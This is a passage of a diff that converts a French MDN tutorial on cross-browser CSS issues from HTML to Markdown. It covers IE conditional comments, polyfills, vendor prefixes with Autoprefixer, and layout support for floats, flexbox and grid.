débutants qui explique la syntaxe des commentaires conditionnels en détail.</p> -</div> +> **Note :** L'article [Internet Explorer Conditional Comments](https://www.sitepoint.com/web-foundations/internet-explorer-conditional-comments/) de Sitepoint apporte un tutoriel/référence utile pour les débutants qui explique la syntaxe des commentaires conditionnels en détail. -<p>Comme vous pouvez le voir, c'est particulièrement utile pour appliquer des fixes aux vieilles versions d'IE. Le cas d'usage que nous avons mentionné plus tôt (rendre les éléments sémantiques modernes stylables sur les vieilles versions d'IE) peut être atteint facilement en utilisant des commentaires conditionnels, par exemple vous pouvez mettre quelque chose comme ça dans votre feuille de style IE :</p> +Comme vous pouvez le voir, c'est particulièrement utile pour appliquer des fixes aux vieilles versions d'IE. Le cas d'usage que nous avons mentionné plus tôt (rendre les éléments sémantiques modernes stylables sur les vieilles versions d'IE) peut être atteint facilement en utilisant des commentaires conditionnels, par exemple vous pouvez mettre quelque chose comme ça dans votre feuille de style IE : -<pre class="brush: css">aside, main, article, section, nav, figure, figcaption { +```css +aside, main, article, section, nav, figure, figcaption { display: block; -}</pre> +} +``` -<p>Ce n'est cependant pas aussi simple — vous devez également créer une copie de chacun des éléments que vous voulez styler dans le DOM via Javascript, pour les rendre stylable ; c'est un peu bizarre, et nous ne vous ennuierons pas avec les détails ici. Par exemple :</p> +Ce n'est cependant pas aussi simple — vous devez également créer une copie de chacun des éléments que vous voulez styler dans le DOM via Javascript, pour les rendre stylable ; c'est un peu bizarre, et nous ne vous ennuierons pas avec les détails ici. Par exemple : -<pre class="brush: js">var asideElem = document.createElement('aside'); - ...</pre> +```js +var asideElem = document.createElement('aside'); + ... +``` -<p>Cela paraît assez compliqué à gérer, mais heureusement il y a un {{glossary("polyfill")}} disponible qui fait les fixs nécessaires pour vous, et plus encore — voir <a href="https://github.com/aFarkas/html5shiv">HTML5Shiv</a> pour tous les détails (voir <a href="https://github.com/aFarkas/html5shiv#installation">manual installation</a> pour les usages les plus simples).</p> +Cela paraît assez compliqué à gérer, mais heureusement il y a un {{glossary("polyfill")}} disponible qui fait les fixs nécessaires pour vous, et plus encore — voir [HTML5Shiv](https://github.com/aFarkas/html5shiv) pour tous les détails (voir [manual installation](https://github.com/aFarkas/html5shiv#installation) pour les usages les plus simples). -<h4 id="Support_de_sélecteur">Support de sélecteur</h4> +#### Support de sélecteur -<p>Naturellement, aucune caractéristiques CSS ne s'appliquera si vous n'utilisez pas les bons <a href="/fr/docs/Learn/CSS/Introduction_to_CSS/Selectors">sélecteurs</a> pour sélectionner l'élément que vous voulez styler ! Si vous écrivez juste mal un sélecteur alors le style ne sera juste pas celui attendu sur aucun navigateur, vous devez juste résoudre le problème et trouver ce qui ne va pas avec votre sélecteur. Nous trouvons utile d'inspecter l'élément que vous essayez de styler en utilisant l'outil de dev de votre navigateur, ensuite regarder l'arborescence du fil d'Ariane du DOM que les inspecteurs du DOM fournissent en général afin de voir si votre sélecteur est pertinent par rapport à ce fil d'Ariane.</p> +Naturellement, aucune caractéristiques CSS ne s'appliquera si vous n'utilisez pas les bons [sélecteurs](/fr/docs/Learn/CSS/Introduction_to_CSS/Selectors) pour sélectionner l'élément que vous voulez styler ! Si vous écrivez juste mal un sélecteur alors le style ne sera juste pas celui attendu sur aucun navigateur, vous devez juste résoudre le problème et trouver ce qui ne va pas avec votre sélecteur. Nous trouvons utile d'inspecter l'élément que vous essayez de styler en utilisant l'outil de dev de votre navigateur, ensuite regarder l'arborescence du fil d'Ariane du DOM que les inspecteurs du DOM fournissent en général afin de voir si votre sélecteur est pertinent par rapport à ce fil d'Ariane. -<p>Par exemple, dans l'outil de dev de Firefox, vous obtenez ce genre rendement en bas de l'inspecteur du DOM :</p> +Par exemple, dans l'outil de dev de Firefox, vous obtenez ce genre rendement en bas de l'inspecteur du DOM : -<p><img alt="" src="dom-breadcrumb-trail.png"></p> + -<p>Si pour cet exemple vous essayez d'utiliser ce sélecteur, vous vous rendrez compte qu'il ne sélectionnera pas l'élément input comme désiré :</p> +Si pour cet exemple vous essayez d'utiliser ce sélecteur, vous vous rendrez compte qu'il ne sélectionnera pas l'élément input comme désiré : -<pre class="brush: css">form > #date</pre> +```css +form > #date +``` -<p>(L'input <code>date</code> du formulaire n'est pas directement dans le <code><form></code> ; vous feriez mieux d'utiliser un sélecteur descendant général plutôt qu'un sélecteur d'enfant).</p> +(L'input `date` du formulaire n'est pas directement dans le `<form>` ; vous feriez mieux d'utiliser un sélecteur descendant général plutôt qu'un sélecteur d'enfant). -<p>Il y a néanmoins un autre problème qui apparaît sur les versions d'IE plus anciennes que la 9 c'est qu'il n'y a aucun nouveau sélecteur (principalement les pseudo-classes et les pseudo-éléments comme <code><a href="/fr/docs/Web/CSS/:nth-of-type">:nth-of-type</a></code>, <code><a href="/fr/docs/Web/CSS/:not">:not</a></code>, <code><a href="/fr/docs/Web/CSS/::selection">::selection</a></code>, etc.) qui marche. Si vous voulez les utiliser dans votre CSS et que vous devez supporter les anciennes versions d'IE, une bonne initiative et d'utiliser la librairie <a href="http://selectivizr.com/">Selectivizr</a> de Keith Clark — c'est une petite librairie Javascript qui s'exécute au-dessus d'une librairie Javascript existante comme <a href="http://jquery.com/">jQuery</a> ou <a href="http://mootools.net/">MooTools</a>.</p> +Il y a néanmoins un autre problème qui apparaît sur les versions d'IE plus anciennes que la 9 c'est qu'il n'y a aucun nouveau sélecteur (principalement les pseudo-classes et les pseudo-éléments comme [`:nth-of-type`](/fr/docs/Web/CSS/:nth-of-type), [`:not`](/fr/docs/Web/CSS/:not), [`::selection`](/fr/docs/Web/CSS/::selection), etc.) qui marche. Si vous voulez les utiliser dans votre CSS et que vous devez supporter les anciennes versions d'IE, une bonne initiative et d'utiliser la librairie [Selectivizr](http://selectivizr.com/) de Keith Clark — c'est une petite librairie Javascript qui s'exécute au-dessus d'une librairie Javascript existante comme [jQuery](http://jquery.com/) ou [MooTools](http://mootools.net/). -<ol> - <li>Afin de tester cet exemple, faites une copie locale de <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/html-css/selectivizr-example-start.html">selectivizr-example-start.html</a>. Si vous le regarder s'exécuter en direct, vous verrez qu'il contient deux paragraphes, dont l'un est stylé. Nous avons sélectionné le paragraphe avec <code>p:first-child</code>, qui ne fonctionne pas sur les anciennes versions d'IE.</li> - <li>Maintenant télécharger <a href="http://mootools.net/">MooTools </a>et <a href="http://selectivizr.com/">Selectivizr</a>, et placez-les dans le même répertoire que votre fichier HTML.</li> - <li>Placer le code suivant dans la têtière de votre document HTML, juste avant la balise ouvrante <code><style></code> : - <pre class="brush: html"><script type="text/javascript" src="MooTools-Core-1.6.0.js"></script> - <!--[if (gte IE 6)&(lte IE 8)]> - <script type="text/javascript" src="selectivizr-min.js"></script> - <![endif]--></pre> - </li> -</ol> +1. Afin de tester cet exemple, faites une copie locale de [selectivizr-example-start.html](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/html-css/selectivizr-example-start.html). Si vous le regarder s'exécuter en direct, vous verrez qu'il contient deux paragraphes, dont l'un est stylé. Nous avons sélectionné le paragraphe avec `p:first-child`, qui ne fonctionne pas sur les anciennes versions d'IE. +2. Maintenant télécharger [MooTools ](http://mootools.net/)et [Selectivizr](http://selectivizr.com/), et placez-les dans le même répertoire que votre fichier HTML. +3. Placer le code suivant dans la têtière de votre document HTML, juste avant la balise ouvrante `<style>` : -<p>Si vous essayer d'exécuter cette page sur une vieille version d'IE, cela devrait bien fonctionner.</p> + ```html + <script type="text/javascript" src="MooTools-Core-1.6.0.js"></script> + <!--[if (gte IE 6)&(lte IE 8)]> + <script type="text/javascript" src="selectivizr-min.js"></script> + <![endif]--> + ``` -<p><img alt="" src="new-selector-ie7.png"></p> +Si vous essayer d'exécuter cette page sur une vieille version d'IE, cela devrait bien fonctionner. -<h4 id="Gestion_des_préfixes_CSS">Gestion des préfixes CSS</h4> + -<p>Une autre source de problèmes arrive avec les préfixes CSS — ceux sont des mécanismes utilisés à la base pour permettre au navigateur d'implémenter leur propre version d'une fonctionnalité CSS (ou Javascript) tant que la technologie est en stade expérimentale, donc ils peuvent jouer avec et la finaliser sans entrer en conflit avec les implémentations des autres navigateurs, ou la dernière implémentation non-préfixée. Voici par exemple :</p> +#### Gestion des préfixes CSS -<ul> - <li>Mozilla utilise <code>-moz-</code></li> - <li>Chrome/Opera/Safari utilise <code>-webkit-</code></li> - <li>Microsoft utilise <code>-ms-</code></li> -</ul> +Une autre source de problèmes arrive avec les préfixes CSS — ceux sont des mécanismes utilisés à la base pour permettre au navigateur d'implémenter leur propre version d'une fonctionnalité CSS (ou Javascript) tant que la technologie est en stade expérimentale, donc ils peuvent jouer avec et la finaliser sans entrer en conflit avec les implémentations des autres navigateurs, ou la dernière implémentation non-préfixée. Voici par exemple : -<p>Voici quelques exemples :</p> +- Mozilla utilise `-moz-` +- Chrome/Opera/Safari utilise `-webkit-` +- Microsoft utilise `-ms-` -<pre class="brush: css">-webkit-transform: rotate(90deg); +Voici quelques exemples : + +```css +-webkit-transform: rotate(90deg); background-image: -moz-linear-gradient(left,green,yellow); background-image: -webkit-gradient(linear,left center,right center,from(green),to(yellow)); background-image: linear-gradient(to right,green,yellow); -</pre> +``` -<p>La première ligne déclare une propriété {{cssxref("transform")}} avec un préfixe <code>-webkit-</code> — c'était nécessaire pour que la transformation fonctionne sur Chrome, etc jusqu'à ce que la fonctionnalité soit finalisée et beaucoup de navigateurs ont ajouté une version de la propriété sans préfixes (au moment de la rédaction, Chrome supportait les deux versions).</p> +La première ligne déclare une propriété {{cssxref("transform")}} avec un préfixe `-webkit-` — c'était nécessaire pour que la transformation fonctionne sur Chrome, etc jusqu'à ce que la fonctionnalité soit finalisée et beaucoup de navigateurs ont ajouté une version de la propriété sans préfixes (au moment de la rédaction, Chrome supportait les deux versions). -<p>Les trois dernières images montrent trois versions différentes de la fonction <code><a href="/fr/docs/Web/CSS/linear-gradient">linear-gradient()</a></code>, qui est utilisée pour générer un dégradé linéaire dans la background d'un élément :</p> +Les trois dernières images montrent trois versions différentes de la fonction [`linear-gradient()`](/fr/docs/Web/CSS/linear-gradient), qui est utilisée pour générer un dégradé linéaire dans la background d'un élément : -<ol> - <li>La première a un préfixe <code>-moz-</code>, et montre une version plutôt ancienne de la syntaxe (Firefox)</li> - <li>La seconde a un préfixe <code>-webkit-</code>, et montre encore une vieille version de la syntaxe de la propriété (également issue d'une vraiment vieille version du moteur Wekkit)</li> - <li>La troisième n'a pas de préfixe, et montre la version finale de la syntaxe (inclue dans <a href="https://drafts.csswg.org/css-images-3/#linear-gradients">CSS Image Values and Replaced Content Module Level 3 spec</a>, qui définit cette fonctionnalité).</li> -</ol> +1. La première a un préfixe `-moz-`, et montre une version plutôt ancienne de la syntaxe (Firefox) +2. La seconde a un préfixe `-webkit-`, et montre encore une vieille version de la syntaxe de la propriété (également issue d'une vraiment vieille version du moteur Wekkit) +3. La troisième n'a pas de préfixe, et montre la version finale de la syntaxe (inclue dans [CSS Image Values and Replaced Content Module Level 3 spec](https://drafts.csswg.org/css-images-3/#linear-gradients), qui définit cette fonctionnalité). -<p>Les fonctionnalités préfixées sont supposées ne jamais être utilisées dans des sites web en production — elles sont susceptibles de changer ou d'être supprimées sans avertissement, et causent des problèmes en navigateur croisé. C'est particulièrement un problème lorsque les développeurs décident de n'utiliser que la version <code>-webkit-</code> d'une propriété — ce qui veut dire que le site ne fonctionnera pas sur d'autres navigateurs. En fait, cela arrive tellement souvent que d'autres navigateurs ont commencé à implémenter les versions préfixées <code>-webkit-</code> de plusieurs propriétés CSS, ils marcheront donc avec un tel code. L'utilisation des préfixes fournit par chaque navigateur a récemment déclinée précisément à cause de ce type de problèmes, mais il en reste encore certain qui demandent de l'attention.</p> +Les fonctionnalités préfixées sont supposées ne jamais être utilisées dans des sites web en production — elles sont susceptibles de changer ou d'être supprimées sans avertissement, et causent des problèmes en navigateur croisé. C'est particulièrement un problème lorsque les développeurs décident de n'utiliser que la version `-webkit-` d'une propriété — ce qui veut dire que le site ne fonctionnera pas sur d'autres navigateurs. En fait, cela arrive tellement souvent que d'autres navigateurs ont commencé à implémenter les versions préfixées `-webkit-` de plusieurs propriétés CSS, ils marcheront donc avec un tel code. L'utilisation des préfixes fournit par chaque navigateur a récemment déclinée précisément à cause de ce type de problèmes, mais il en reste encore certain qui demandent de l'attention. -<p>Si vous persistez a utiliser des fonctionnalités préfixées, assurez-vous d'utiliser les bonnes. Vous pouvez vérifier quels navigateurs ont besoin de préfixes sur les pages de référence MDN, et des sites comme <a href="http://caniuse.com/">caniuse.com</a>. Si vous doutez, vous pouvez aussi vérifier en faisant des tests directement sur les navigateurs.</p> +Si vous persistez a utiliser des fonctionnalités préfixées, assurez-vous d'utiliser les bonnes. Vous pouvez vérifier quels navigateurs ont besoin de préfixes sur les pages de référence MDN, et des sites comme [caniuse.com](http://caniuse.com/). Si vous doutez, vous pouvez aussi vérifier en faisant des tests directement sur les navigateurs. -<p>Essayez cet exemple simple :</p> +Essayez cet exemple simple : -<ol> - <li>Ouvrez google.com, ou un autre site qui a un en-tête proéminent ou un niveau de bloc d'élément.</li> - <li>Clic droit sur l'élément en question et choisir Inspecter/Inspecter l'élément (ou qu'importe l'option de votre navigateur) — cela devrait ouvrir les outils de dev dans votre navigateur, avec l'élément mis en valeur dans l'inspecteur du DOM.</li> - <li>Chercher une fonctionnalité que vous pouvez utiliser pour sélectionner cet élément. Par exemple, au moment de la rédaction, le logo principal de Google a un ID <code>hplogo</code>.</li> - <li>Entreposer une référence à cet élément dans une variable, par exemple : - <pre class="brush: js">var test = document.getElementById('hplogo');</pre> - </li> - <li>Maintenant essayez d'appliquer une nouvelle valeur pour la propriété CSS qui vous intéresse sur cet élément ; vous pouvez le faire en utilisant la propriété <a href="/fr/docs/Web/API/HTMLElement/style">style</a> de l'élément, par exemple essayez de taper ça dans votre console Javascript :</li> - <li> - <pre class="brush: js">test.style.transform = 'rotate(90deg)' -test.style.webkitTransform = 'rotate(90deg)'</pre> - </li> -</ol> +1. Ouvrez google.com, ou un autre site qui a un en-tête proéminent ou un niveau de bloc d'élément. +2. Clic droit sur l'élément en question et choisir Inspecter/Inspecter l'élément (ou qu'importe l'option de votre navigateur) — cela devrait ouvrir les outils de dev dans votre navigateur, avec l'élément mis en valeur dans l'inspecteur du DOM. +3. Chercher une fonctionnalité que vous pouvez utiliser pour sélectionner cet élément. Par exemple, au moment de la rédaction, le logo principal de Google a un ID `hplogo`. +4. Entreposer une référence à cet élément dans une variable, par exemple : -<p>Quand vous commencez à taper la transcription du nom de la propriété après le deuxième point (notez qu'en Javascript, les noms des propriétés CSS sont écrites en lower camel case, sans trait d'union), la console Javascript devrait commencer à saisir automatiquement les noms des propriétés qui existent dans le navigateur et qui correspondent au mieux avec ce que vous écrivez. C'est utile pour trouver quelles versions de la propriété est implémentée dans ce navigateur.</p> + ```js + var test = document.getElementById('hplogo'); + ``` -<p>A l'heure où ces lignes sont écrites, Firefox et Chrome ont implémenté tous les deux les versions préfixées <code>-webkit-</code> et non préfixées de {{cssxref("transform")}} !</p> +5. Maintenant essayez d'appliquer une nouvelle valeur pour la propriété CSS qui vous intéresse sur cet élément ; vous pouvez le faire en utilisant la propriété [style](/fr/docs/Web/API/HTMLElement/style) de l'élément, par exemple essayez de taper ça dans votre console Javascript : +6. ```js + test.style.transform = 'rotate(90deg)' + test.style.webkitTransform = 'rotate(90deg)' + ``` -<p>Une fois que vous avez trouvé quels préfixes vous avez besoin de supporter, vous devriez tous les inscrire dans votre CSS, par exemple :</p> +Quand vous commencez à taper la transcription du nom de la propriété après le deuxième point (notez qu'en Javascript, les noms des propriétés CSS sont écrites en lower camel case, sans trait d'union), la console Javascript devrait commencer à saisir automatiquement les noms des propriétés qui existent dans le navigateur et qui correspondent au mieux avec ce que vous écrivez. C'est utile pour trouver quelles versions de la propriété est implémentée dans ce navigateur. -<pre class="brush: css">-ms-transform: rotate(90deg); --webkit-transform: rotate(90deg); -transform: rotate(90deg);</pre> +A l'heure où ces lignes sont écrites, Firefox et Chrome ont implémenté tous les deux les versions préfixées `-webkit-` et non préfixées de {{cssxref("transform")}} ! -<p>Cela vous assurera que tous les navigateurs qui supportent n'importe laquelle des formes de la propriété ci-dessus pourront faire marcher la fonctionnalité. Il convient de placer la version non préfixée en dernier, parce qu'elle sera la version la plus récente, que vous voulez que les navigateurs utilisent si c'est possible. Si par exemple un navigateur implémente la version <code>-webkit-</code> et la version non préfixée, il va en premier temps appliquer la version <code>-webkit-</code>, puis la remplacer par la version non préfixée. Vous voulez que cela se produise dans ce sens, et non dans l'autre.</p> +Une fois que vous avez trouvé quels préfixes vous avez besoin de supporter, vous devriez tous les inscrire dans votre CSS, par exemple : -<p>Bien entendu, appliquer cela à de nombreuses différentes règles CSS peut devenir très fastidieux. Il est préférable d'utiliser des outils d'automatisation qui le font pour vous. Et de tels outils existent :</p> +```css +-ms-transform: rotate(90deg); +-webkit-transform: rotate(90deg); +transform: rotate(90deg); +``` -<p>La <a href="http://leaverou.github.io/prefixfree/">prefix-free JavaScript library</a> peut être jointe à une page, et détectera automatiquement quels sont les aptitudes détenues par navigateurs en analysant la page et en ajoutant les préfixes appropriés. C'est très facile et pratique à utiliser, bien qu'il ait quelques inconvénients (voir le lien au-dessus pour plus de détails), et on peut discuter du fait qu'analyser chaque feuille de style de votre site et ajouter des préfixes lors de l'exécution peut être un fardeau pour la puissance de traitement de l'ordinateur pour un grand site.</p> +Cela vous assurera que tous les navigateurs qui supportent n'importe laquelle des formes de la propriété ci-dessus pourront faire marcher la fonctionnalité. Il convient de placer la version non préfixée en dernier, parce qu'elle sera la version la plus récente, que vous voulez que les navigateurs utilisent si c'est possible. Si par exemple un navigateur implémente la version `-webkit-` et la version non préfixée, il va en premier temps appliquer la version `-webkit-`, puis la remplacer par la version non préfixée. Vous voulez que cela se produise dans ce sens, et non dans l'autre. -<p>Une autre solution est d'ajouter automatiquement les préfixes pendant le développement, et cela (et d'autres choses à venir) peut être fait en utilisant des outils comme <a href="https://github.com/postcss/autoprefixer">Autoprefixer</a> et <a href="http://postcss.org/">PostCSS</a>. Ces outils peuvent être utilisés de diverses manières, par exemple Autoprefixer a une <a href="http://autoprefixer.github.io/">version en ligne</a> qui vous permet d'entrer votre CSS non préfixé sur la gauche, et vous donne une version avec préfixes ajoutés sur la droite. Vous pouvez sélectionner quels navigateurs vous voulez afin de vous assurer de bien supporter en utilisant la notation définie dans <a href="https://github.com/postcss/autoprefixer#options">Autoprefixer options </a>; pour plus de détails, voir aussi <a href="https://github.com/ai/browserslist#queries">Browserslist queries</a>, qui est basé dessus. Comme exemple, la requête suivante sélectionnera les deux dernières versions de tous le navigateurs principaux et les versions d'IE supérieure à la 9.</p> +Bien entendu, appliquer cela à de nombreuses différentes règles CSS peut devenir très fastidieux. Il est préférable d'utiliser des outils d'automatisation qui le font pour vous. Et de tels outils existent : -<pre>last 2 versions, ie > 9</pre> +La [prefix-free JavaScript library](http://leaverou.github.io/prefixfree/) peut être jointe à une page, et détectera automatiquement quels sont les aptitudes détenues par navigateurs en analysant la page et en ajoutant les préfixes appropriés. C'est très facile et pratique à utiliser, bien qu'il ait quelques inconvénients (voir le lien au-dessus pour plus de détails), et on peut discuter du fait qu'analyser chaque feuille de style de votre site et ajouter des préfixes lors de l'exécution peut être un fardeau pour la puissance de traitement de l'ordinateur pour un grand site. +Une autre solution est d'ajouter automatiquement les préfixes pendant le développement, et cela (et d'autres choses à venir) peut être fait en utilisant des outils comme [Autoprefixer](https://github.com/postcss/autoprefixer) et [PostCSS](http://postcss.org/). Ces outils peuvent être utilisés de diverses manières, par exemple Autoprefixer a une [version en ligne](http://autoprefixer.github.io/) qui vous permet d'entrer votre CSS non préfixé sur la gauche, et vous donne une version avec préfixes ajoutés sur la droite. Vous pouvez sélectionner quels navigateurs vous voulez afin de vous assurer de bien supporter en utilisant la notation définie dans [Autoprefixer options ](https://github.com/postcss/autoprefixer#options); pour plus de détails, voir aussi [Browserslist queries](https://github.com/ai/browserslist#queries), qui est basé dessus. Comme exemple, la requête suivante sélectionnera les deux dernières versions de tous le navigateurs principaux et les versions d'IE supérieure à la 9. + last 2 versions, ie > 9 -<p>Autoprefixer peut aussi être utilisé dans d'autres cas, plus pratiques — voir <a href="https://github.com/postcss/autoprefixer#usage">Autoprefixer usage</a>. Par exemple vous pouvez l'utiliser avec un exécuteur de tâche/outil de build comme <a href="http://gulpjs.com/">Gulp </a>ou <a href="https://webpack.github.io/">Webpack </a>pour ajouter automatiquement les préfixes une fois que le développement a été fait. (Expliquer comment cela fonctionne est plutôt au-delà de la portée de cet article).</p> +Autoprefixer peut aussi être utilisé dans d'autres cas, plus pratiques — voir [Autoprefixer usage](https://github.com/postcss/autoprefixer#usage). Par exemple vous pouvez l'utiliser avec un exécuteur de tâche/outil de build comme [Gulp ](http://gulpjs.com/)ou [Webpack ](https://webpack.github.io/)pour ajouter automatiquement les préfixes une fois que le développement a été fait. (Expliquer comment cela fonctionne est plutôt au-delà de la portée de cet article). -<p>Vous pouvez également utiliser un plugin pour éditeur de texte comme Atom ou Sublime text. Par exemple, dans Atom :</p> +Vous pouvez également utiliser un plugin pour éditeur de texte comme Atom ou Sublime text. Par exemple, dans Atom : -<ol> - <li>Vous pouvez l'installer en allant dans <em>Préférences</em> > <em>Installer</em>, chercher <em>Autoprefixer</em>, puis cliquer sur installer.</li> - <li>Vous pouvez configurer une requête navigateur en appuyant sur le bouton <em>Settings</em> d'Autoprefixer et entrer la requête dans le champs texte de la section <em>Setting</em> de la page.</li> - <li>Dans votre code, vous pouvez sélectionner des sections de CSS auxquelles vous voulez ajouter des préfixes, ouvrez la palette de commande (<em>Cmd</em>/<em>Ctrl</em> + <em>Shift</em> + <em>P</em>), puis tapez Autoprefixer dedans et sélectionnez le résultat Autoprefixer qui auto complète.</li> -</ol> +1. Vous pouvez l'installer en allant dans _Préférences_ > _Installer_, chercher _Autoprefixer_, puis cliquer sur installer. +2. Vous pouvez configurer une requête navigateur en appuyant sur le bouton _Settings_ d'Autoprefixer et entrer la requête dans le champs texte de la section _Setting_ de la page. +3. Dans votre code, vous pouvez sélectionner des sections de CSS auxquelles vous voulez ajouter des préfixes, ouvrez la palette de commande (_Cmd_/_Ctrl_ + _Shift_ + _P_), puis tapez Autoprefixer dedans et sélectionnez le résultat Autoprefixer qui auto complète. -<p>En tant qu'exemple, nous avons entré le code suivant :</p> +En tant qu'exemple, nous avons entré le code suivant : -<pre class="brush: css">body { +```css +body { display: flex; -}</pre> +} +``` -<p>Nous l'avons sélectionné et exécuté la commande Autoprefixer, et il l'a remplacé par ça :</p> +Nous l'avons sélectionné et exécuté la commande Autoprefixer, et il l'a remplacé par ça : -<pre class="brush: css">body { +```css +body { display: -webkit-box; display: -ms-flexbox; display: flex; -}</pre> - -<h3 id="Les_problèmes_de_mise_en_page">Les problèmes de mise en page</h3> - -<p>Un autre problème qui peut survenir est la différence de mise en page entre les navigateurs. Historiquement c'était traité comme bien plus qu'un problème, mais ces derniers temps, avec les navigateurs modernes qui ont tendance à supporter le CSS plus systématiquement, les problèmes de mise en page ont plus tendance à être couramment associés avec :</p> +} +``` -<ul> - <li>Le manque (ou différences dans) de support pour les dispositions modernes.</li> - <li>Les dispositions qui ne paraissent pas bonnes sur les navigateurs mobiles (par ex. les problèmes en responsive design).</li> -</ul> +### Les problèmes de mise en page -<div class="note"> -<p><strong>Note :</strong> Historiquement les développeurs web étaient habitués à utiliser des fichiers CSS appelés resets, qui supprimaient tous les styles par défaut des navigateurs qui s'appliquaient au HTML, et ensuite appliquaient leurs propres styles pour tout le reste — c'était fait pour rendre le style sur un projet plus cohérent, et réduire les possibles problèmes en navigateur croisé, spécialement pour les choses issues de la mise en page. Toutefois, cela a récemment été défini comme exagéré. Le meilleur équivalent que nous avons de nos jours c'est le <a href="https://necolas.github.io/normalize.css/">normalize.css</a>, un peu de CSS propre qui style discrètement par-dessus le style par défaut des navigateurs afin de rendre les éléments plus cohérents et fixe quelques problèmes de disposition. Nous vous recommandons d'appliquer normalize.css sur toutes vos pages HTML.</p> -</div> +Un autre problème qui peut survenir est la différence de mise en page entre les navigateurs. Historiquement c'était traité comme bien plus qu'un problème, mais ces derniers temps, avec les navigateurs modernes qui ont tendance à supporter le CSS plus systématiquement, les problèmes de mise en page ont plus tendance à être couramment associés avec : -<div class="note"> -<p><strong>Note :</strong> Lorsque vous essayer de localiser un problème de disposition difficile, une bonne technique et d'ajouter une couleur éclatante {{cssxref("outline")}} sur l'élément dérangeant, ou sur tous les éléments à côté. Cela facilite la tâche pour voir où tous les éléments sont placés. Voir <a href="http://www.otsukare.info/2016/10/05/debugging-css" rel="bookmark" title="Permalink to Debug your CSS with outline visualizations.">Debug your CSS with outline visualizations</a> pour plus de détails...</p> -</div> +- Le manque (ou différences dans) de support pour les dispositions modernes. +- Les dispositions qui ne paraissent pas bonnes sur les navigateurs mobiles (par ex. les problèmes en responsive design). -<h4 id="Support_pour_les_nouvelles_caractéristiques_de_disposition">Support pour les nouvelles caractéristiques de disposition</h4> +> **Note :** Historiquement les développeurs web étaient habitués à utiliser des fichiers CSS appelés resets, qui supprimaient tous les styles par défaut des navigateurs qui s'appliquaient au HTML, et ensuite appliquaient leurs propres styles pour tout le reste — c'était fait pour rendre le style sur un projet plus cohérent, et réduire les possibles problèmes en navigateur croisé, spécialement pour les choses issues de la mise en page. Toutefois, cela a récemment été défini comme exagéré. Le meilleur équivalent que nous avons de nos jours c'est le [normalize.css](https://necolas.github.io/normalize.css/), un peu de CSS propre qui style discrètement par-dessus le style par défaut des navigateurs afin de rendre les éléments plus cohérents et fixe quelques problèmes de disposition. Nous vous recommandons d'appliquer normalize.css sur toutes vos pages HTML. -<p>La plupart du travail de mise en page sur le web aujourd'hui et réalisé en utilisant les <a href="/fr/docs/Learn/CSS/CSS_layout/Floats">floats</a> — c'est parce que les floats sont bien supportés (depuis IE 4, bien qu'il y ait un certain nombre de bugs qui auront besoin d'être examinés si vous essayez de supporter IE aussi loin). Il n'y a néanmoins pas de véritables explications sur la mise en page — utiliser les floats comme nous les utilisons est un vrai hack — et ils ont de sérieuses limites (par ex. voir <a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox#Why_Flexbox">Why Flexbox?</a>)</p> +> **Note :** Lorsque vous essayer de localiser un problème de disposition difficile, une bonne technique et d'ajouter une couleur éclatante {{cssxref("outline")}} sur l'élément dérangeant, ou sur tous les éléments à côté. Cela facilite la tâche pour voir où tous les éléments sont placés. Voir [Debug your CSS with outline visualizations](http://www.otsukare.info/2016/10/05/debugging-css "Permalink to Debug your CSS with outline visualizations.") pour plus de détails... -<p>Plus récemment, des mécanismes dédiés à la disposition ont fait leur apparition, comme <a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a> et <a href="/fr/docs/Learn/CSS/CSS_layout/Grids#Native_CSS_Grids_with_Grid_Layout">CSS Grids</a>, qui rendent les tâches ordinaires de disposition bien plus simples et enlèvent les défauts. Ils ne sont cependant pas bien supportés dans les navigateurs :</p> +#### Support pour les nouvelles caractéristiques de disposition -<ul> - <li>Les grilles CSS sont très récentes ; au moment de la rédaction, elles n'étaient <a href="http://gridbyexample.com/browsers/">supportées</a> que par les toutes nouvelles versions des navigateurs modernes.</li> - <li>Flexbox est <a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox#Cross_browser_compatibility">bien supportée</a> dans les navigateurs modernes, mais amène des problèmes dans les vieux navigateurs. IE9 ne le supporte pas du tout, et IE 10 et les vieilles versions d'iOS/desktop Safari supportent respectivement des vieilles versions incompatibles des spécifications de flexbox. Ceci amène à s'intéresser au jonglage des préfixes de navigateur si vous voulez essayer d'utiliser flexbox sur tous ces navigateurs (voir <a href="https://dev.opera.com/articles/advanced-cross-browser-flexbox/">Advanced Cross-Browser Flexbox</a> pour vous faire une idée).</li> -</ul> +La plupart du travail de mise en page sur le web aujourd'hui et réalisé en utilisant les [floats](/fr/docs/Learn/CSS/CSS_layout/Floats) — c'est parce que les floats sont bien supportés (depuis IE 4, bien qu'il y ait un certain nombre de bugs qui auront besoin d'être examinés si vous essayez de supporter IE aussi loin). Il n'y a néanmoins pas de véritables explications sur la mise en page — utiliser les floats comme nous les utilisons est un vrai hack — et ils ont de sérieuses limites (par ex. voir [Why Flexbox?](/fr/docs/Learn/CSS/CSS_layout/Flexbox#Why_Flexbox)) -<p>Les fonctionnalités de disposition ne sont pas aussi simples pour fournir des solutions de repli que de simples couleurs, ombres ou dégradés. Si les propriétés de disposition sont ignorées, la totalité de votre design sera réduit en pièces. De ce fait, vous devez utiliser une fonctionnalité de détection pour détecter si les navigateurs qui consultent votre site supportent ces caractéristiques de disposition, et appliquer différentes dispositions de manière sélective selon le résultat (nous couvrirons les fonctionnalités de détection dans un article à venir).</p> +Plus récemment, des mécanismes dédiés à la disposition ont fait leur apparition, comme [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox) et [CSS Grids](/fr/docs/Learn/CSS/CSS_layout/Grids#Native_CSS_Grids_with_Grid_Layout), qui rendent les tâches ordinaires de disposition bien plus simples et enlèvent les défauts. Ils ne sont cependant pas bien supportés dans les navigateurs : -<p>Par exemple, vous pourriez appliquer une disposition flexbox sur les navigateurs modernes, et aussi appliquer une disposition en float pour les plus vieux navigateurs qui ne supportent pas flexbox.</p> +- Les grilles CSS sont très récentes ; au moment de la rédaction, elles n'étaient [supportées](http://gridbyexample.com/browsers/) que par les toutes nouvelles versions des navigateurs modernes. +- Flexbox est [bien supportée](/fr/docs/Learn/CSS/CSS_layout/Flexbox#Cross_browser_compatibility) dans les navigateurs modernes, mais amène des problèmes dans les vieux navigateurs. IE9 ne le supporte pas du tout, et IE 